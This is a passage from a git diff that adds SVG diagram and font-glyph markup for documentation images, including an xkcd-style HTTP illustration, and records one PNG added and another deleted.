y="400.853733"/> + <use xlink:href="#glyph0-4" x="358.65625" y="400.853733"/> + <use xlink:href="#glyph0-5" x="363.100694" y="400.853733"/> + <use xlink:href="#glyph0-6" x="368.100694" y="400.853733"/> + <use xlink:href="#glyph0-7" x="376.989583" y="400.853733"/> + <use xlink:href="#glyph0-8" x="382.545139" y="400.853733"/> +</g> +<path style="fill-rule:evenodd;fill:rgb(69.803923%,83.137256%,92.156863%);fill-opacity:1;stroke-width:0.1;stroke-linecap:butt;stroke-linejoin:miter;stroke:rgb(0%,0%,0%);stroke-opacity:1;stroke-miterlimit:10;" d="M 10.708203 22.75 L 15.540625 22.75 C 16.207812 22.75 16.748828 23.30957 16.748828 24 C 16.748828 24.69043 16.207812 25.25 15.540625 25.25 L 10.708203 25.25 C 10.04082 25.25 9.5 24.69043 9.5 24 C 9.5 23.30957 10.04082 22.75 10.708203 22.75 Z M 10.708203 22.75 " transform="matrix(20,0,0,20,-179,-179)"/> +<g style="fill:rgb(0%,0%,0%);fill-opacity:1;"> + <use xlink:href="#glyph0-19" x="38.078125" y="309.892795"/> + <use xlink:href="#glyph0-2" x="46.967014" y="309.892795"/> + <use xlink:href="#glyph0-20" x="55.300347" y="309.892795"/> + <use xlink:href="#glyph0-11" x="64.189236" y="309.892795"/> + <use xlink:href="#glyph0-2" x="73.078125" y="309.892795"/> + <use xlink:href="#glyph0-21" x="81.411458" y="309.892795"/> + <use xlink:href="#glyph0-14" x="88.355903" y="309.892795"/> + <use xlink:href="#glyph0-4" x="93.911458" y="309.892795"/> + <use xlink:href="#glyph0-15" x="98.355903" y="309.892795"/> + <use xlink:href="#glyph0-13" x="107.244792" y="309.892795"/> + <use xlink:href="#glyph0-14" x="115.300347" y="309.892795"/> + <use xlink:href="#glyph0-13" x="120.855903" y="309.892795"/> +</g> +<path style=" stroke:none;fill-rule:evenodd;fill:rgb(100%,100%,100%);fill-opacity:1;" d="M 161.625 275.722656 L 320.375 275.722656 L 320.375 299.121094 L 161.625 299.121094 Z M 161.625 275.722656 "/> +<g style="fill:rgb(0%,0%,0%);fill-opacity:1;"> + <use xlink:href="#glyph1-1" x="161.566406" y="294.129774"/> + <use xlink:href="#glyph1-2" x="169.621962" y="294.129774"/> + <use xlink:href="#glyph1-3" x="176.844184" y="294.129774"/> + <use xlink:href="#glyph1-4" x="184.89974" y="294.129774"/> + <use xlink:href="#glyph1-5" x="192.677517" y="294.129774"/> + <use xlink:href="#glyph1-6" x="196.844184" y="294.129774"/> + <use xlink:href="#glyph1-7" x="204.344184" y="294.129774"/> + <use xlink:href="#glyph1-6" x="212.39974" y="294.129774"/> + <use xlink:href="#glyph1-8" x="219.621962" y="294.129774"/> + <use xlink:href="#glyph1-9" x="227.39974" y="294.129774"/> + <use xlink:href="#glyph1-6" x="235.177517" y="294.129774"/> + <use xlink:href="#glyph1-10" x="242.677517" y="294.129774"/> + <use xlink:href="#glyph1-11" x="248.788628" y="294.129774"/> + <use xlink:href="#glyph1-12" x="253.788628" y="294.129774"/> + <use xlink:href="#glyph1-13" x="257.955295" y="294.129774"/> + <use xlink:href="#glyph1-14" x="266.010851" y="294.129774"/> + <use xlink:href="#glyph1-6" x="271.010851" y="294.129774"/> + <use xlink:href="#glyph1-8" x="278.233073" y="294.129774"/> + <use xlink:href="#glyph1-9" x="286.010851" y="294.129774"/> + <use xlink:href="#glyph1-6" x="293.788628" y="294.129774"/> + <use xlink:href="#glyph1-10" x="301.288628" y="294.129774"/> + <use xlink:href="#glyph1-11" x="307.39974" y="294.129774"/> + <use xlink:href="#glyph1-15" x="312.39974" y="294.129774"/> + <use xlink:href="#glyph1-16" x="316.566406" y="294.129774"/> +</g> +<path style="fill:none;stroke-width:0.1;stroke-linecap:butt;stroke-linejoin:miter;stroke:rgb(0%,0%,0%);stroke-opacity:1;stroke-dasharray:0.1,0.1;stroke-miterlimit:10;" d="M 16.748828 24 L 25.45 24 " transform="matrix(20,0,0,20,-179,-179)"/> +<path style="fill-rule:evenodd;fill:rgb(0%,0%,0%);fill-opacity:1;stroke-width:0.1;stroke-linecap:butt;stroke-linejoin:miter;stroke:rgb(0%,0%,0%);stroke-opacity:1;stroke-miterlimit:10;" d="M 25.45 24.25 L 25.95 24 L 25.45 23.75 Z M 25.45 24.25 " transform="matrix(20,0,0,20,-179,-179)"/> +<path style="fill-rule:evenodd;fill:rgb(69.803923%,83.137256%,92.156863%);fill-opacity:1;stroke-width:0.1;stroke-linecap:butt;stroke-linejoin:miter;stroke:rgb(0%,0%,0%);stroke-opacity:1;stroke-miterlimit:10;" d="M 23.666602 10 L 28.333398 10 C 28.977734 10 29.5 10.55957 29.5 11.25 C 29.5 11.94043 28.977734 12.5 28.333398 12.5 L 23.666602 12.5 C 23.022266 12.5 22.5 11.94043 22.5 11.25 C 22.5 10.55957 23.022266 10 23.666602 10 Z M 23.666602 10 " transform="matrix(20,0,0,20,-179,-179)"/> +<g style="fill:rgb(0%,0%,0%);fill-opacity:1;"> + <use xlink:href="#glyph0-22" x="301.566406" y="54.892795"/> + <use xlink:href="#glyph0-6" x="314.621962" y="54.892795"/> + <use xlink:href="#glyph0-15" x="323.510851" y="54.892795"/> + <use xlink:href="#glyph0-2" x="332.39974" y="54.892795"/> + <use xlink:href="#glyph0-12" x="340.733073" y="54.892795"/> + <use xlink:href="#glyph0-4" x="345.455295" y="54.892795"/> + <use xlink:href="#glyph0-15" x="349.89974" y="54.892795"/> + <use xlink:href="#glyph0-13" x="358.788628" y="54.892795"/> + <use xlink:href="#glyph0-14" x="366.844184" y="54.892795"/> + <use xlink:href="#glyph0-13" x="372.39974" y="54.892795"/> +</g> +<path style=" stroke:none;fill-rule:evenodd;fill:rgb(100%,100%,100%);fill-opacity:1;" d="M 350.171875 80.128906 L 445.070312 80.128906 L 445.070312 103.527344 L 350.171875 103.527344 Z M 350.171875 80.128906 "/> +<g style="fill:rgb(0%,0%,0%);fill-opacity:1;"> + <use xlink:href="#glyph1-10" x="350.171875" y="98.539931"/> + <use xlink:href="#glyph1-6" x="356.282986" y="98.539931"/> + <use xlink:href="#glyph1-11" x="363.782986" y="98.539931"/> + <use xlink:href="#glyph1-17" x="368.782986" y="98.539931"/> + <use xlink:href="#glyph1-2" x="378.227431" y="98.539931"/> + <use xlink:href="#glyph1-11" x="385.449653" y="98.539931"/> + <use xlink:href="#glyph1-2" x="390.449653" y="98.539931"/> + <use xlink:href="#glyph1-12" x="397.671875" y="98.539931"/> + <use xlink:href="#glyph1-13" x="401.838542" y="98.539931"/> + <use xlink:href="#glyph1-4" x="409.894097" y="98.539931"/> + <use xlink:href="#glyph1-2" x="417.671875" y="98.539931"/> + <use xlink:href="#glyph1-11" x="424.894097" y="98.539931"/> + <use xlink:href="#glyph1-2" x="429.894097" y="98.539931"/> + <use xlink:href="#glyph1-15" x="437.116319" y="98.539931"/> + <use xlink:href="#glyph1-16" x="441.282986" y="98.539931"/> +</g> +<path style="fill:none;stroke-width:0.1;stroke-linecap:butt;stroke-linejoin:miter;stroke:rgb(0%,0%,0%);stroke-opacity:1;stroke-miterlimit:10;" d="M 20 18.185352 L 20 21 L 26 21 L 26 26.45 " transform="matrix(20,0,0,20,-179,-179)"/> +<path style="fill-rule:evenodd;fill:rgb(0%,0%,0%);fill-opacity:1;stroke-width:0.1;stroke-linecap:butt;stroke-linejoin:miter;stroke:rgb(0%,0%,0%);stroke-opacity:1;stroke-miterlimit:10;" d="M 25.75 26.45 L 26 26.95 L 26.25 26.45 Z M 25.75 26.45 " transform="matrix(20,0,0,20,-179,-179)"/> +<path style="fill:none;stroke-width:0.1;stroke-linecap:butt;stroke-linejoin:miter;stroke:rgb(0%,0%,0%);stroke-opacity:1;stroke-miterlimit:10;" d="M 32 18.235156 L 32 21 L 26 21 L 26 26.45 " transform="matrix(20,0,0,20,-179,-179)"/> +<path style="fill-rule:evenodd;fill:rgb(0%,0%,0%);fill-opacity:1;stroke-width:0.1;stroke-linecap:butt;stroke-linejoin:miter;stroke:rgb(0%,0%,0%);stroke-opacity:1;stroke-miterlimit:10;" d="M 25.75 26.45 L 26 26.95 L 26.25 26.45 Z M 25.75 26.45 " transform="matrix(20,0,0,20,-179,-179)"/> +<path style="fill:none;stroke-width:0.1;stroke-linecap:butt;stroke-linejoin:miter;stroke:rgb(0%,0%,0%);stroke-opacity:1;stroke-dasharray:0.1,0.1;stroke-miterlimit:10;" d="M 26 12.5 L 26 20.45 " transform="matrix(20,0,0,20,-179,-179)"/> +<path style="fill-rule:evenodd;fill:rgb(0%,0%,0%);fill-opacity:1;stroke-width:0.1;stroke-linecap:butt;stroke-linejoin:miter;stroke:rgb(0%,0%,0%);stroke-opacity:1;stroke-miterlimit:10;" d="M 25.75 20.45 L 26 20.95 L 26.25 20.45 Z M 25.75 20.45 " transform="matrix(20,0,0,20,-179,-179)"/> +</g> +</svg> diff --git a/_images/form/tailwindcss-form.png b/_images/form/tailwindcss-form.png new file mode 100644 index 00000000000..8a290749149 Binary files /dev/null and b/_images/form/tailwindcss-form.png differ diff --git a/_images/http/xkcd-full.png b/_images/http/xkcd-full.png deleted file mode 100644 index d5b01ea32b9..00000000000 Binary files a/_images/http/xkcd-full.png and /dev/null differ diff --git a/_images/http/xkcd-full.svg b/_images/http/xkcd-full.svg new file mode 100644 index 00000000000..da590c2b97e --- /dev/null +++ b/_images/http/xkcd-full.svg @@ -0,0 +1,324 @@ +<?xml version="1.0" encoding="UTF-8"?> +<svg xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" width="525pt" height="301pt" viewBox="0 0 525 301" version="1.1"> +<defs> +<g> +<symbol overflow="visible" id="glyph0-0"> +<path style="stroke:none;" d="M 1.015625 -14.234375 L 14.234375 -14.234375 L 14.234375 0 L 1.015625 0 Z M 11.59375 -12.609375 L 7.625 -8.1875 L 3.65625 -12.609375 L 2.640625 -11.59375 L 6.640625 -7.109375 L 2.640625 -2.640625 L 3.65625 -1.625 L 7.625 -6.03125 L 11.59375 -1.625 L 12.609375 -2.640625 L 8.578125 -7.109375 L 12.609375 -11.59375 Z M 2.625 -0.546875 L 2.78125 -0.546875 L 2.78125 -0.796875 L 2.859375 -0.796875 C 2.941406 -0.796875 3.015625 -0.8125 3.078125 -0.84375 C 3.148438 -0.875 3.1875 -0.9375 3.1875 -1.03125 C 3.1875 -1.144531 3.148438 -1.210938 3.078125 -1.234375 C 3.003906 -1.265625 2.925781 -1.28125 2.84375 -1.28125 L 2.625 -1.28125 Z M 2.859375 -1.15625 C 2.972656 -1.15625 3.03125 -1.125 3.03125 -1.0625 C 3.03125 -0.988281 3.007812 -0.945312 2.96875 -0.9375 C 2.9375 -0.9375 2.894531 -0.9375 2.84375 -0.9375 L 2.78125 -0.9375 L 2.78125 -1.15625 Z M 3.84375 -1.28125 L 3.21875 -1.28125 L 3.21875 -1.15625 L 3.453125 -1.15625 L 3.453125 -0.546875 L 3.59375 -0.546875 L 3.59375 -1.15625 L 3.84375 -1.15625 Z M 4.515625 -0.75 C 4.515625 -0.695312 4.46875 -0.671875 4.375 -0.671875 C 4.28125 -0.671875 4.21875 -0.6875 4.1875 -0.71875 L 4.125 -0.5625 C 4.15625 -0.5625 4.191406 -0.554688 4.234375 -0.546875 C 4.273438 -0.535156 4.328125 -0.53125 4.390625 -0.53125 C 4.578125 -0.53125 4.671875 -0.609375 4.671875 -0.765625 C 4.671875 -0.890625 4.609375 -0.957031 4.484375 -0.96875 C 4.367188 -0.988281 4.3125 -1.03125 4.3125 -1.09375 C 4.3125 -1.132812 4.351562 -1.15625 4.4375 -1.15625 C 4.5 -1.15625 4.554688 -1.144531 4.609375 -1.125 L 4.65625 -1.265625 C 4.570312 -1.285156 4.5 -1.296875 4.4375 -1.296875 C 4.238281 -1.296875 4.140625 -1.222656 4.140625 -1.078125 C 4.140625 -1.003906 4.160156 -0.953125 4.203125 -0.921875 C 4.242188 -0.898438 4.285156 -0.878906 4.328125 -0.859375 C 4.367188 -0.835938 4.410156 -0.820312 4.453125 -0.8125 C 4.492188 -0.800781 4.515625 -0.78125 4.515625 -0.75 Z M 4.8125 -0.953125 C 4.875 -0.984375 4.9375 -1 5 -1 C 5.070312 -1 5.109375 -0.972656 5.109375 -0.921875 L 5.109375 -0.875 C 5.085938 -0.875 5.070312 -0.875 5.0625 -0.875 C 5.050781 -0.882812 5.03125 -0.890625 5 -0.890625 C 4.832031 -0.890625 4.75 -0.820312 4.75 -0.6875 C 4.75 -0.582031 4.804688 -0.53125 4.921875 -0.53125 C 5.003906 -0.53125 5.066406 -0.5625 5.109375 -0.625 L 5.140625 -0.546875 L 5.265625 -0.546875 C 5.253906 -0.578125 5.25 -0.625 5.25 -0.6875 L 5.25 -0.921875 C 5.25 -1.054688 5.179688 -1.125 5.046875 -1.125 C 4.984375 -1.125 4.925781 -1.113281 4.875 -1.09375 C 4.832031 -1.082031 4.800781 -1.070312 4.78125 -1.0625 Z M 4.984375 -0.65625 C 4.929688 -0.65625 4.90625 -0.679688 4.90625 -0.734375 C 4.90625 -0.785156 4.9375 -0.8125 5 -0.8125 C 5.03125 -0.8125 5.050781 -0.804688 5.0625 -0.796875 C 5.070312 -0.796875 5.085938 -0.796875 5.109375 -0.796875 L 5.109375 -0.734375 C 5.078125 -0.679688 5.035156 -0.65625 4.984375 -0.65625 Z M 5.9375 -0.546875 L 5.9375 -0.875 C 5.9375 -1.039062 5.875 -1.125 5.75 -1.125 C 5.65625 -1.125 5.585938 -1.085938 5.546875 -1.015625 L 5.515625 -1.09375 L 5.40625 -1.09375 L 5.40625 -0.546875 L 5.546875 -0.546875 L 5.546875 -0.890625 C 5.578125 -0.941406 5.617188 -0.96875 5.671875 -0.96875 C 5.734375 -0.96875 5.765625 -0.929688 5.765625 -0.859375 L 5.765625 -0.546875 Z M 6.03125 -0.5625 C 6.09375 -0.539062 6.160156 -0.53125 6.234375 -0.53125 C 6.390625 -0.53125 6.46875 -0.59375 6.46875 -0.71875 C 6.46875 -0.78125 6.445312 -0.816406 6.40625 -0.828125 C 6.375 -0.847656 6.335938 -0.867188 6.296875 -0.890625 C 6.234375 -0.921875 6.203125 -0.941406 6.203125 -0.953125 C 6.203125 -0.984375 6.222656 -1 6.265625 -1 C 6.316406 -1 6.367188 -0.984375 6.421875 -0.953125 L 6.46875 -1.078125 C 6.414062 -1.109375 6.347656 -1.125 6.265625 -1.125 C 6.128906 -1.125 6.0625 -1.0625 6.0625 -0.9375 C 6.0625 -0.863281 6.082031 -0.816406 6.125 -0.796875 C 6.164062 -0.773438 6.195312 -0.757812 6.21875 -0.75 C 6.289062 -0.75 6.328125 -0.726562 6.328125 -0.6875 C 6.328125 -0.664062 6.304688 -0.65625 6.265625 -0.65625 C 6.191406 -0.65625 6.128906 -0.664062 6.078125 -0.6875 Z M 6.875 -0.859375 C 6.875 -0.566406 7.007812 -0.421875 7.28125 -0.421875 C 7.550781 -0.421875 7.6875 -0.566406 7.6875 -0.859375 C 7.6875 -1.128906 7.550781 -1.265625 7.28125 -1.265625 C 7.164062 -1.265625 7.066406 -1.222656 6.984375 -1.140625 C 6.910156 -1.066406 6.875 -0.972656 6.875 -0.859375 Z M 7 -0.859375 C 7 -1.054688 7.09375 -1.15625 7.28125 -1.15625 C 7.46875 -1.15625 7.5625 -1.054688 7.5625 -0.859375 C 7.5625 -0.648438 7.46875 -0.546875 7.28125 -0.546875 C 7.09375 -0.546875 7 -0.648438 7 -0.859375 Z M 7.40625 -0.765625 C 7.375 -0.753906 7.34375 -0.75 7.3125 -0.75 C 7.257812 -0.75 7.234375 -0.785156 7.234375 -0.859375 C 7.234375 -0.910156 7.257812 -0.9375 7.3125 -0.9375 L 7.375 -0.9375 L 7.421875 -1.015625 C 7.367188 -1.046875 7.320312 -1.0625 7.28125 -1.0625 C 7.15625 -1.0625 7.09375 -0.992188 7.09375 -0.859375 C 7.09375 -0.703125 7.15625 -0.625 7.28125 -0.625 C 7.34375 -0.625 7.390625 -0.640625 7.421875 -0.671875 Z M 8.109375 -0.546875 L 8.28125 -0.546875 L 8.28125 -0.796875 L 8.359375 -0.796875 C 8.441406 -0.796875 8.515625 -0.8125 8.578125 -0.84375 C 8.648438 -0.875 8.6875 -0.9375 8.6875 -1.03125 C 8.6875 -1.144531 8.644531 -1.210938 8.5625 -1.234375 C 8.488281 -1.265625 8.410156 -1.28125 8.328125 -1.28125 L 8.109375 -1.28125 Z M 8.359375 -1.15625 C 8.460938 -1.15625 8.515625 -1.125 8.515625 -1.0625 C 8.515625 -0.988281 8.5 -0.945312 8.46875 -0.9375 C 8.4375 -0.9375 8.390625 -0.9375 8.328125 -0.9375 L 8.28125 -0.9375 L 8.28125 -1.15625 Z M 8.78125 -0.953125 C 8.832031 -0.984375 8.894531 -1 8.96875 -1 C 9.03125 -1 9.0625 -0.972656 9.0625 -0.921875 L 9.0625 -0.875 C 9.050781 -0.875 9.035156 -0.875 9.015625 -0.875 C 9.003906 -0.882812 8.988281 -0.890625 8.96875 -0.890625 C 8.789062 -0.890625 8.703125 -0.820312 8.703125 -0.6875 C 8.703125 -0.582031 8.765625 -0.53125 8.890625 -0.53125 C 8.960938 -0.53125 9.019531 -0.5625 9.0625 -0.625 L 9.109375 -0.546875 L 9.234375 -0.546875 C 9.210938 -0.578125 9.203125 -0.625 9.203125 -0.6875 L 9.203125 -0.921875 C 9.203125 -1.054688 9.132812 -1.125 9 -1.125 C 8.945312 -1.125 8.894531 -1.113281 8.84375 -1.09375 C 8.800781 -1.082031 8.765625 -1.070312 8.734375 -1.0625 Z M 8.9375 -0.65625 C 8.882812 -0.65625 8.859375 -0.679688 8.859375 -0.734375 C 8.859375 -0.785156 8.894531 -0.8125 8.96875 -0.8125 C 8.988281 -0.8125 9.003906 -0.804688 9.015625 -0.796875 C 9.035156 -0.796875 9.050781 -0.796875 9.0625 -0.796875 L 9.0625 -0.734375 C 9.039062 -0.679688 9 -0.65625 8.9375 -0.65625 Z M 9.71875 -1.09375 C 9.707031 -1.113281 9.679688 -1.125 9.640625 -1.125 C 9.578125 -1.125 9.535156 -1.085938 9.515625 -1.015625 L 9.5 -1.015625 L 9.46875 -1.09375 L 9.34375 -1.09375 L 9.34375 -0.546875 L 9.515625 -0.546875 L 9.515625 -0.890625 C 9.515625 -0.941406 9.554688 -0.96875 9.640625 -0.96875 L 9.65625 -0.96875 C 9.664062 -0.96875 9.671875 -0.960938 9.671875 -0.953125 C 9.671875 -0.953125 9.679688 -0.953125 9.703125 -0.953125 Z M 9.8125 -0.953125 C 9.894531 -0.984375 9.957031 -1 10 -1 C 10.070312 -1 10.109375 -0.972656 10.109375 -0.921875 L 10.109375 -0.875 C 10.085938 -0.875 10.070312 -0.875 10.0625 -0.875 C 10.050781 -0.882812 10.03125 -0.890625 10 -0.890625 C 9.820312 -0.890625 9.734375 -0.820312 9.734375 -0.6875 C 9.734375 -0.582031 9.796875 -0.53125 9.921875 -0.53125 C 10.015625 -0.53125 10.078125 -0.5625 10.109375 -0.625 L 10.125 -0.625 L 10.140625 -0.546875 L 10.265625 -0.546875 C 10.253906 -0.578125 10.25 -0.625 10.25 -0.6875 L 10.25 -0.921875 C 10.25 -1.054688 10.179688 -1.125 10.046875 -1.125 C 9.984375 -1.125 9.929688 -1.113281 9.890625 -1.09375 C 9.859375 -1.082031 9.828125 -1.070312 9.796875 -1.0625 Z M 9.984375 -0.65625 C 9.929688 -0.65625 9.90625 -0.679688 9.90625 -0.734375 C 9.90625 -0.785156 9.9375 -0.8125 10 -0.8125 C 10.03125 -0.8125 10.050781 -0.804688 10.0625 -0.796875 C 10.070312 -0.796875 10.085938 -0.796875 10.109375 -0.796875 L 10.109375 -0.734375 C 10.078125 -0.679688 10.035156 -0.65625 9.984375 -0.65625 Z M 10.828125 -1.28125 L 10.203125 -1.28125 L 10.203125 -1.15625 L 10.421875 -1.15625 L 10.421875 -0.546875 L 10.59375 -0.546875 L 10.59375 -1.15625 L 10.828125 -1.15625 Z M 11 -1.09375 L 10.828125 -1.09375 L 11.078125 -0.546875 C 11.066406 -0.484375 11.035156 -0.453125 10.984375 -0.453125 L 10.953125 -0.46875 L 10.921875 -0.34375 C 10.941406 -0.332031 10.972656 -0.328125 11.015625 -0.328125 C 11.085938 -0.328125 11.15625 -0.414062 11.21875 -0.59375 L 11.421875 -1.09375 L 11.265625 -1.09375 L 11.15625 -0.796875 L 11.15625 -0.6875 L 11.140625 -0.6875 L 11.125 -0.796875 Z M 11.484375 -0.328125 L 11.640625 -0.328125 L 11.640625 -0.5625 C 11.660156 -0.539062 11.695312 -0.53125 11.75 -0.53125 C 11.9375 -0.53125 12.03125 -0.628906 12.03125 -0.828125 C 12.03125 -1.023438 11.957031 -1.125 11.8125 -1.125 C 11.738281 -1.125 11.675781 -1.09375 11.625 -1.03125 L 11.609375 -1.03125 L 11.59375 -1.09375 L 11.484375 -1.09375 Z M 11.765625 -1 C 11.835938 -1 11.875 -0.941406 11.875 -0.828125 C 11.875 -0.710938 11.828125 -0.65625 11.734375 -0.65625 C 11.703125 -0.65625 11.671875 -0.664062 11.640625 -0.6875 L 11.640625 -0.890625 C 11.640625 -0.960938 11.679688 -1 11.765625 -1 Z M 12.5625 -0.6875 C 12.53125 -0.664062 12.484375 -0.65625 12.421875 -0.65625 C 12.328125 -0.65625 12.269531 -0.691406 12.25 -0.765625 L 12.640625 -0.765625 L 12.640625 -0.890625 C 12.640625 -0.972656 12.613281 -1.03125 12.5625 -1.0625 C 12.519531 -1.101562 12.46875 -1.125 12.40625 -1.125 C 12.207031 -1.125 12.109375 -1.019531 12.109375 -0.8125 C 12.109375 -0.625 12.207031 -0.53125 12.40625 -0.53125 C 12.445312 -0.53125 12.484375 -0.535156 12.515625 -0.546875 C 12.554688 -0.554688 12.59375 -0.570312 12.625 -0.59375 Z M 12.40625 -1 C 12.476562 -1 12.507812 -0.957031 12.5 -0.875 L 12.28125 -0.875 C 12.28125 -0.957031 12.320312 -1 12.40625 -1 Z M 12.40625 -1 "/> +</symbol> +<symbol overflow="visible" id="glyph0-1"> +<path style="stroke:none;" d="M 8.359375 -11 C 8.359375 -10.644531 8.316406 -10.289062 8.234375 -9.9375 C 8.148438 -9.582031 8.019531 -9.25 7.84375 -8.9375 C 7.664062 -8.632812 7.445312 -8.359375 7.1875 -8.109375 C 6.925781 -7.867188 6.601562 -7.6875 6.21875 -7.5625 L 6.21875 -7.484375 C 6.539062 -7.410156 6.851562 -7.296875 7.15625 -7.140625 C 7.457031 -6.984375 7.722656 -6.765625 7.953125 -6.484375 C 8.179688 -6.210938 8.363281 -5.875 8.5 -5.46875 C 8.632812 -5.070312 8.703125 -4.597656 8.703125 -4.046875 C 8.703125 -3.316406 8.585938 -2.679688 8.359375 -2.140625 C 8.128906 -1.609375 7.8125 -1.171875 7.40625 -0.828125 C 7.007812 -0.492188 6.550781 -0.242188 6.03125 -0.078125 C 5.507812 0.078125 4.957031 0.15625 4.375 0.15625 C 4.175781 0.15625 3.953125 0.15625 3.703125 0.15625 C 3.453125 0.15625 3.1875 0.144531 2.90625 0.125 C 2.625 0.113281 2.34375 0.0859375 2.0625 0.046875 C 1.78125 0.015625 1.523438 -0.0351562 1.296875 -0.109375 L 1.296875 -14.109375 C 1.703125 -14.191406 2.179688 -14.257812 2.734375 -14.3125 C 3.285156 -14.363281 3.878906 -14.390625 4.515625 -14.390625 C 4.972656 -14.390625 5.429688 -14.34375 5.890625 -14.25 C 6.359375 -14.164062 6.773438 -14 7.140625 -13.75 C 7.503906 -13.507812 7.796875 -13.171875 8.015625 -12.734375 C 8.242188 -12.296875 8.359375 -11.71875 8.359375 -11 Z M 4.5 -1.234375 C 4.863281 -1.234375 5.195312 -1.289062 5.5 -1.40625 C 5.8125 -1.519531 6.085938 -1.691406 6.328125 -1.921875 C 6.566406 -2.160156 6.753906 -2.441406 6.890625 -2.765625 C 7.023438 -3.097656 7.09375 -3.488281 7.09375 -3.9375 C 7.09375 -4.5 7.007812 -4.953125 6.84375 -5.296875 C 6.675781 -5.640625 6.453125 -5.90625 6.171875 -6.09375 C 5.898438 -6.289062 5.59375 -6.421875 5.25 -6.484375 C 4.90625 -6.554688 4.550781 -6.59375 4.1875 -6.59375 L 2.828125 -6.59375 L 2.828125 -1.375 C 2.910156 -1.351562 3.015625 -1.332031 3.140625 -1.3125 C 3.265625 -1.300781 3.40625 -1.289062 3.5625 -1.28125 C 3.71875 -1.269531 3.878906 -1.257812 4.046875 -1.25 C 4.210938 -1.238281 4.363281 -1.234375 4.5 -1.234375 Z M 3.65625 -7.90625 C 3.84375 -7.90625 4.054688 -7.910156 4.296875 -7.921875 C 4.546875 -7.941406 4.753906 -7.960938 4.921875 -7.984375 C 5.421875 -8.191406 5.847656 -8.519531 6.203125 -8.96875 C 6.566406 -9.425781 6.75 -9.988281 6.75 -10.65625 C 6.75 -11.101562 6.6875 -11.476562 6.5625 -11.78125 C 6.445312 -12.082031 6.28125 -12.320312 6.0625 -12.5 C 5.851562 -12.675781 5.609375 -12.800781 5.328125 -12.875 C 5.046875 -12.945312 4.75 -12.984375 4.4375 -12.984375 C 4.082031 -12.984375 3.757812 -12.972656 3.46875 -12.953125 C 3.1875 -12.929688 2.972656 -12.910156 2.828125 -12.890625 L 2.828125 -7.90625 Z M 3.65625 -7.90625 "/> +</symbol> +<symbol overflow="visible" id="glyph0-2"> +<path style="stroke:none;" d="M 1.203125 -10.15625 L 2.234375 -10.15625 L 2.5 -9.09375 L 2.5625 -9.09375 C 2.75 -9.476562 2.992188 -9.78125 3.296875 -10 C 3.609375 -10.226562 3.976562 -10.34375 4.40625 -10.34375 C 4.71875 -10.34375 5.070312 -10.28125 5.46875 -10.15625 L 5.1875 -8.6875 C 4.832031 -8.800781 4.519531 -8.859375 4.25 -8.859375 C 3.8125 -8.859375 3.457031 -8.734375 3.1875 -8.484375 C 2.914062 -8.234375 2.738281 -7.898438 2.65625 -7.484375 L 2.65625 0 L 1.203125 0 Z M 1.203125 -10.15625 "/> +</symbol> +<symbol overflow="visible" id="glyph0-3"> +<path style="stroke:none;" d="M 0.75 -5.078125 C 0.75 -6.910156 1.0625 -8.253906 1.6875 -9.109375 C 2.320312 -9.972656 3.222656 -10.40625 4.390625 -10.40625 C 5.640625 -10.40625 6.554688 -9.960938 7.140625 -9.078125 C 7.734375 -8.203125 8.03125 -6.867188 8.03125 -5.078125 C 8.03125 -3.234375 7.710938 -1.882812 7.078125 -1.03125 C 6.441406 -0.175781 5.546875 0.25 4.390625 0.25 C 3.140625 0.25 2.21875 -0.191406 1.625 -1.078125 C 1.039062 -1.960938 0.75 -3.296875 0.75 -5.078125 Z M 2.28125 -5.078125 C 2.28125 -4.484375 2.316406 -3.941406 2.390625 -3.453125 C 2.460938 -2.960938 2.582031 -2.539062 2.75 -2.1875 C 2.925781 -1.84375 3.148438 -1.570312 3.421875 -1.375 C 3.691406 -1.175781 4.015625 -1.078125 4.390625 -1.078125 C 5.097656 -1.078125 5.625 -1.390625 5.96875 -2.015625 C 6.320312 -2.648438 6.5 -3.671875 6.5 -5.078125 C 6.5 -5.660156 6.460938 -6.195312 6.390625 -6.6875 C 6.316406 -7.1875 6.191406 -7.613281 6.015625 -7.96875 C 5.847656 -8.320312 5.628906 -8.597656 5.359375 -8.796875 C 5.085938 -8.992188 4.765625 -9.09375 4.390625 -9.09375 C 3.703125 -9.09375 3.175781 -8.769531 2.8125 -8.125 C 2.457031 -7.488281 2.28125 -6.472656 2.28125 -5.078125 Z M 2.28125 -5.078125 "/> +</symbol> +<symbol overflow="visible" id="glyph0-4"> +<path style="stroke:none;" d="M 6.625 -10.15625 L 8.4375 -4.234375 L 8.796875 -2.28125 L 8.84375 -2.28125 L 9.140625 -4.265625 L 10.53125 -10.15625 L 11.90625 -10.15625 L 9.203125 0.21875 L 8.375 0.21875 L 6.328125 -6.4375 L 6.03125 -8.15625 L 6 -8.15625 L 5.71875 -6.421875 L 3.71875 0.21875 L 2.890625 0.21875 L 0.109375 -10.15625 L 1.671875 -10.15625 L 3.234375 -4.25 L 3.46875 -2.28125 L 3.515625 -2.28125 L 3.875 -4.296875 L 5.546875 -10.15625 Z M 6.625 -10.15625 "/> +</symbol> +<symbol overflow="visible" id="glyph0-5"> +<path style="stroke:none;" d="M 1.03125 -1.671875 C 1.300781 -1.503906 1.625 -1.363281 2 -1.25 C 2.375 -1.132812 2.757812 -1.078125 3.15625 -1.078125 C 3.601562 -1.078125 3.976562 -1.1875 4.28125 -1.40625 C 4.59375 -1.632812 4.75 -2 4.75 -2.5 C 4.75 -2.914062 4.65625 -3.257812 4.46875 -3.53125 C 4.28125 -3.800781 4.039062 -4.046875 3.75 -4.265625 C 3.457031 -4.484375 3.140625 -4.679688 2.796875 -4.859375 C 2.460938 -5.046875 2.148438 -5.269531 1.859375 -5.53125 C 1.566406 -5.789062 1.328125 -6.09375 1.140625 -6.4375 C 0.953125 -6.789062 0.859375 -7.238281 0.859375 -7.78125 C 0.859375 -8.65625 1.085938 -9.3125 1.546875 -9.75 C 2.015625 -10.1875 2.675781 -10.40625 3.53125 -10.40625 C 4.09375 -10.40625 4.578125 -10.351562 4.984375 -10.25 C 5.390625 -10.15625 5.738281 -10.019531 6.03125 -9.84375 L 5.65625 -8.625 C 5.394531 -8.757812 5.09375 -8.867188 4.75 -8.953125 C 4.414062 -9.046875 4.070312 -9.09375 3.71875 -9.09375 C 3.226562 -9.09375 2.867188 -8.988281 2.640625 -8.78125 C 2.421875 -8.582031 2.3125 -8.265625 2.3125 -7.828125 C 2.3125 -7.484375 2.40625 -7.191406 2.59375 -6.953125 C 2.789062 -6.722656 3.035156 -6.507812 3.328125 -6.3125 C 3.617188 -6.113281 3.929688 -5.910156 4.265625 -5.703125 